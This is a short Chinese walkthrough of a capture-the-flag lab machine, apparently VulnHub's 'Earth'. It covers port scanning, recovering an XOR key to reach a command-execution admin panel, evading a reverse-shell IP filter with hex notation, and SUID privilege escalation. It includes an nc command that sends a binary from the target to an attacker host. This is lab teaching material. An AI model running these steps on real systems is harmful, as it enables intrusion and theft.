通关方案:https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html
思路流程:
1. 信息收集
nmap扫描发现开了22端口和两个web端口(80和443)。
注意这里信息收集到到位,获取的信息多一些。
使用nmap默认脚本扫描全端口的版本信息。
nmap -sC -sV -p- [ip]
使用ip访问80和443无果,注意到443端口的dns信息,因此修改hosts使用域名进行https
访问。
继续进行信息收集,目录扫描。
在一个域名后面发现后台管理页面。
另一个域名后面发现robots.txt
2. 漏洞利用
对上面的文件进行文件名后缀爆破,获取到关键信息。
文件有几个信息:
- 使用XOR
加密
- Earth已收到我们的消息(应该是指previous mesages)
- testdata.txt
用于测试加密
- 用户名:terra
访问获取testdata.txt
文件内容,与之前页面上的数字进行XOR,恢复出加密秘钥
。
使用【用户名:terra
; 密码:加密秘钥
】 登录管理页面。
发现是命令执行,首先查看普通用户flag。直接find搜索全局
find / -name '*flag*' -type f 2>/dev/null
尝试反弹shell,发现有过滤,搜过过滤写法:
find / -name "*.py" -type f | xargs grep "Remote connections are forbidden"
发现源码对ip进行过滤,使用十六进制ip写法绕过。
3. SUID提权
得到shell之后,使用suid高权限命令提权,搜索命令:
find / -perm -u=s -type f 2>/dev/null
发现一个重置密码的命令,但是运行有问题,使用nc拷贝出来,使用starce动态分析。
[attack-mechine]$ nc -nvlp 4445 > reset_root_file
[target-mechine]$ nc -nv 192.168.56.102 4445 < /usr/bin/reset_root
[attack-mechine]$ strace ./reset_root_file
分析发现命令运行缺少三个文件,直接手动创建。
命令执行成功,密码成功重置,提权成功。